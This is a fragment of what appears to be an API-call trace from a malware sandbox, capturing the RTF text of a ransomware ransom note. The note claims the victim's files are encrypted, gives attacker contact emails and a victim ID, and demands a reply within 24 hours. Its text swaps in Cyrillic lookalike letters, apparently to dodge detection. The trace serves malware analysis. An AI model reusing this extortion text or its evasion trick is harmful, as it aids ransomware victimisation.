s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c4dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 